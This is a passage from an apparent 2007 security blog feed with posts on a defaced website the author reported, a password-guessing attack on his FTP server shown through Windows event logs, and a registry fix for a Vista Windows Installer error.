which does not exist on my server. After that they logged out of the system (picture below) and attack was over.<br /><br /><br /><a href="http://www.krneki.net/blog/uploaded_images/delaction-729869.jpg"><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/delaction-729864.jpg" border="0" /></a><br /><div align="center">Click image to enlarge </div><div align="center"></div><br /><div align="left">I Googled the name "sarcaxxo" and found quite a few <a href="http://www.google.com/search?hl=en&q=sarcaxxo">references</a> to it.<br /><br /><em>For my next post on these attacks, I will try to find out more about the other attack that I am frequently seeing. </em></span></div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-625520196796087013?l=www.krneki.net%2Fblog'/></div>Just Another Security Blog?noreply@blogger.com0tag:blogger.com,1999:blog-3905238167785739455.post-36503198428113774172007-09-10T20:07:00.000+02:002007-09-10T23:45:00.242+02:00Server hacked by ertuqrul...<span style="font-family:verdana;">Few days ago I was searching for information when I came across a website that was defaced. The only evidence of the crime on the page was a title text where hacker left his signature "hacked by ertuqrul" (picture below).<br /></span><br /><br /><span style="font-family:verdana;"><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/hackedby-765740.jpg" border="0" /></span><span style="font-family:verdana;"></span><br /><p><span style="font-family:verdana;">No, I will not reveal the site's name. ;-)</span><span style="font-family:Verdana;"></span><br /><span style="font-family:verdana;"><br />I Googled the name "</span><a href="http://www.google.com/search?hl=en&q=ertuqrul"><span style="font-family:verdana;">ertuqrul</span></a><span style="font-family:verdana;">" and found that visited website was not the only one attacked by this person. </span></p><p><span style="font-family:verdana;">I believe that this page was a victim of SQL Injection attack. Input fields on this server lack any serious input validation. When performing simple test, I received standard error which is usually strong indicator that <a href="http://www.securitydocs.com/library/3587">SQL Injection </a>is possible.<br /></span></p><p><span style="font-family:verdana;"><br /><span style="font-family:verdana;"><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/SQLError-798768.jpg" border="0" /></span></span><span style="font-family:verdana;">I tried to contact the owners of the website through regular e-mail addresses such as <strong>webmaster@...si</strong> and <strong>info@...si</strong> which are defined in </span><a href="http://www.ietf.org/rfc/rfc2142.txt"><span style="font-family:verdana;">RFC 2142</span></a><span style="font-family:verdana;">. Both times I received Non Delivery Report (NDR) indicating that these mailboxes do not exist. I finally found an e-mail on the website which worked. I also notified </span><a href="http://www.arnes.si/si-cert"><span style="font-family:verdana;">SI-CERT</span></a><span style="font-family:verdana;"> just in case...</span><br /><br /><strong><span style="font-family:verdana;">Few thoughts:</span><br /></strong></p><ul><li><span style="font-family:verdana;">If you are an owner of the web server or web site, make sure it is secure. Make sure that if you have any input fields on the site that you do validation of the data passed to the server. Note that client side validation is <strong>not</strong> (!!!) enough</span></li><li><span style="font-family:verdana;">Make sure that general e-mail addresses such as webmaster, postmaster, hostmaster, abuse, etc. valid and monitored</span></li></ul><p><span style="font-family:verdana;">Hijacked servers are not only bad for bad reputation of the owner. They can also be very dangerous for any visitor that comes across it. Hacker could include malicious code on the pages and infect the visitor's computer. As demonstrated earlier this year at <a href="http://www.rsaconference.com/2007/US/">RSA Conference in San Francisco</a>, such attacks can be platform and browser independent.</span></p><p><span style="font-family:verdana;">Of course attackers prefer the servers with high volume of visitors such as </span><a href="http://www.pcworld.com/article/id,128750-c,cybercrime/article.html"><span style="font-family:verdana;">Super Bowl Web Sites</span></a><span style="font-family:verdana;"> that was hacked this year (2007).<br /><br />My personal "favorite" attack on the client where malicious website </span><a href="http://www.theregister.co.uk/2007/02/15/router_vuln/print.html"><span style="font-family:verdana;">reconfigures your home router</span></a><span style="font-family:verdana;">. Actually the only thing that it changes is DNS server. Innocent? Not necessarily. </span></p><p><span style="font-family:verdana;">Imagine that you want to visit your online bank. You query (well, your browser does the querying) a DNS server for IP address of your online bank server. The only problem is that now you are using hacker's DNS server and he can take you wherever he wants... </span></p><p><span style="font-family:verdana;"><strong>Recommendations:</strong></span></p><ul><li><span style="font-family:verdana;">In general I would recommend that any "hacked" server is first taken offline</span></li><li><span style="font-family:verdana;">Consider if you want to legally pursue the attackers, contact law enforcement agencies and follow their advice from here</span></li><li><span style="font-family:verdana;">Analyze the server for security holes (e.g. lack of security in applications; input validations, etc) and remove them</span></li><li><span style="font-family:verdana;">It can often be pretty difficult to determine the extent of "damage" on the server. For this reason in the end I usually opt for reinstallation of the server.</span></li></ul><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-3650319842811377417?l=www.krneki.net%2Fblog'/></div>Just Another Security Blog?noreply@blogger.com0tag:blogger.com,1999:blog-3905238167785739455.post-73540237578351616802007-09-01T19:10:00.000+02:002007-09-01T19:10:45.808+02:00Attacks against FTP servers... (Part 1)<div align="left"><span style="font-family:verdana;">A while ago, when I was doing some regular maintenance on one of my FTP servers I noticed that someone was running an attack against it. Attacker was attempting to guess a password for Administrator account. Unfortunately these kind of attacks are not uncommon and are usually done using automation tools and scripts.<br /></span><span style="font-family:verdana;"><br />I noticed that in latest attack, they only tried to guess password for Administrator account. In some of the previous attacks they also tried guessing different account names.<br /></span><span style="font-family:verdana;"><br />First thing that I noticed on the server are Events ID 100 in the System log. There were literally hundreds of these events:<br /></span></div><br /><div align="left"><span style="font-family:courier new;">Event Type: Warning¸<br /></span><span style="font-family:courier new;">Event Source: MSFTPSVC<br /></span><span style="font-family:courier new;">Event Category: None<br /></span><span style="font-family:courier new;">Event ID: 100<br /></span><span style="font-family:courier new;">Date: 20.8.2007<br /></span><span style="font-family:courier new;">Time: 11:54:30<br /></span><span style="font-family:courier new;">User: N/A<br /></span><span style="font-family:courier new;">Computer: SERVER<br /></span><span style="font-family:courier new;">Description: The server was unable to logon the Windows NT account 'Administrator' due to the following error: Logon failure: unknown user name or bad password. The data is the error code.<br /><br /></span><span style="font-family:courier new;">For more information, see Help and Support Center at </span><a href="http://go.microsoft.com/fwlink/events.asp"><span style="font-family:courier new;">http://go.microsoft.com/fwlink/events.asp</span></a><span style="font-family:courier new;">.<br /><br /></span><span style="font-family:courier new;">Data: 0000: 2e 05 00 00 ....<br /></div></span><br /><div align="center"><a href="http://www.krneki.net/blog/uploaded_images/Events-719788.jpg"><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/Events-719782.jpg" border="0" /></a> </div><br /><div align="center"><span style="font-family:verdana;">Click image to enlarge</span></div><br /><p align="left"><span style="font-family:verdana;">I wanted to dig a bit further into these automated attacks. Two main goals of my digging were:</span> </p><ul><li><div align="left"><span style="font-family:verdana;">what passwords are run against my servers</span></div></li><li><div align="left"><span style="font-family:verdana;">what are they trying to do once they gain access</span></div></li></ul><p align="left"><span style="font-family:verdana;">To achieve my first goal, I installed </span><a href="http://www.wireshark.org/"><span style="font-family:verdana;">Wireshark</span></a><span style="font-family:verdana;"> (once also known as </span><a href="http://www.ethereal.com/"><span style="font-family:verdana;">Ethereal</span></a><span style="font-family:verdana;">) on the server and set it to listen only for FTP traffic. I didn't have to wait too long.</span></p><p align="left"><span style="font-family:verdana;">Couple of days later I logged on to the server just when the attack was in progress. </span></p><p align="left"><span style="font-family:Verdana;"></span><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/two-hours-into-attack-759213.jpg" border="0" /></p><div align="left"><span style="font-family:verdana;">This time the it came from IP address 220.178.4.124. </span><a href="http://wq.apnic.net/apnic-bin/whois.pl"><span style="font-family:verdana;">APNIC Whois</span></a><span style="font-family:verdana;"> database shows that IP address belong to "CHINANET anhui province network".<br /></div></span><br /><p align="left"><span style="font-family:verdana;">Attackers run 10.399 passwords against the Administrator account. Here is a <a href="http://www.krneki.net/blog/Extras/passwords.txt">complete list</a> of all the passwords that they used. Make sure that you don't use them on your server ;-). It took them a bit more than 3 hours to carry out (unsuccessful) attack. </span></p><p><a href="http://www.krneki.net/blog/uploaded_images/ws-769980.jpg"><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/ws-769973.jpg" border="0" /></a></p><p align="center"><span style="font-family:verdana;">Click image to enlarge.</span><span style="font-family:verdana;"><br /></span><span style="font-family:verdana;"><em></em></span></p><br /><p align="left"><span style="font-family:verdana;"><em>For part two of this blog post I plan to write about what happens once an attackers gets correct password.</em></span></p><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-7354023757835161680?l=www.krneki.net%2Fblog'/></div>Just Another Security Blog?noreply@blogger.com0tag:blogger.com,1999:blog-3905238167785739455.post-73985837104601315612007-08-23T17:43:00.000+02:002007-08-23T22:47:26.060+02:00Error 1719. The Windows Installer Service could not be accessed... and Windows Vista<span style="font-family:verdana;">In February this year I received new <a href="http://h10010.www1.hp.com/wwpc/us/en/sm/WF06b/321957-321957-64295-321838-3329741-1839859-1839862-3364984.html?jumpid=oc_R1002_USENC-001_HP%20Compaq%20nw9440%20Mobile%20Workstation&lang=en&cc=us">HP NW9440 notebook</a>. I decided to install 64 bit version of <a href="http://www.microsoft.com/windows/products/windowsvista/editions/ultimate/default.mspx">Microsoft Windows Vista Ultimate </a>on it. After installing all the usual applications like <a href="http://office.microsoft.com/en-us/suites/FX101674121033.aspx">Microsoft Office 2007</a> I wanted to install some more "exotic" ones, like <a href="http://www.microsoft.com/windows/products/winfamily/virtualpc/default.mspx">Microsoft Virtual PC 2007 </a>(64 bit of course). Here I run into a problem. Virtual PC did not want to install on my computer and if was failing with error:<br /></span><br /><p><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/VirtualPCError-771653.jpg" border="0" /><br /><span style="font-family:verdana;">I searched through usual KB articles and solutions, but none of them applied or helped my Vista. Because of other engagements and in need of quick solution I gave up on Virtual PC for the time being.</span><br /><span style="font-family:Verdana;"><br /></span><span style="font-family:verdana;">I almost forgot about the problem for couple of months, until I needed to install <a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=18b1d59d-f4d8-4213-8d17-2f6dde7d7aac&DisplayLang=en">Microsoft Network Monitor 3</a> (again of course 64 bit), but this installation too failed with same error as Virtual PC.<br /><br /></span><span style="font-family:verdana;">In event logs I was receiving these two errors:<br /></span><br /><span style="font-family:courier new;font-size:85%;">Log Name: Application<br />Source: MsiInstaller<br />Date: 4.7.2007 9:59:57<br />Event ID: 11719<br />Task Category: None<br />Level: Error<br />Keywords: Classic<br />User: PC\mike<br />Computer: PC<br />Description: Product: Microsoft Network Monitor 3.0 -- Error 1719. The Windows Installer Service could not be accessed. This can occur if you are running Windows in safe mode, or if the Windows Installer is not correctly installed. Contact your support personnel for assistance.<br /><br />Log Name: </span><span style="font-family:courier new;font-size:85%;">Application<br />Source: MsiInstaller<br />Date: 8.6.2007 14:51:41<br />Event ID: 11719<br />Task Category: None<br />Level: Error<br />Keywords: Classic<br />User: PC\mike<br />Computer: PC<br />Description: Product: MSXML 6.0 Parser (KB927977) -- Error 1719. The Windows Installer Service could not be accessed. This can occur if you are running Windows in safe mode, or if the Windows Installer is not correctly installed. Contact your support personnel for assistance.</span></p><p><span style="font-family:verdana;">In June I was away for a week, teaching at one of the Boot Camps, when I final had some spare time to play and explore the problem. I also had another 64 bit Windows Vista computer in the classroom that I could abuse.</span><span style="font-family:verdana;"><br /></span></p><p>In the end I solved this problem by exporting <span style="font-family:courier new;">HKLM\SYSTEM\CurrentControlSet\Services\msiserver</span> registry key on the other 64 bit Vista in the classroom and imported it on my laptop.<br /></p><p align="center"><a href="http://www.krneki.net/blog/uploaded_images/IntallerReg-741704.jpg"><img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.krneki.net/blog/uploaded_images/IntallerReg-741698.jpg" border="0" /></a></p><p align="center">Click image to enlarge.</p><span style="font-family:verdana;"><p align="left">After that I had no problem installing Virtual PC or any other piece of software. </span></p><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3905238167785739455-7398583710460131561?l=www.krneki.net%2Fblog'/></div>Just Another Security Blog?noreply@blogger.com0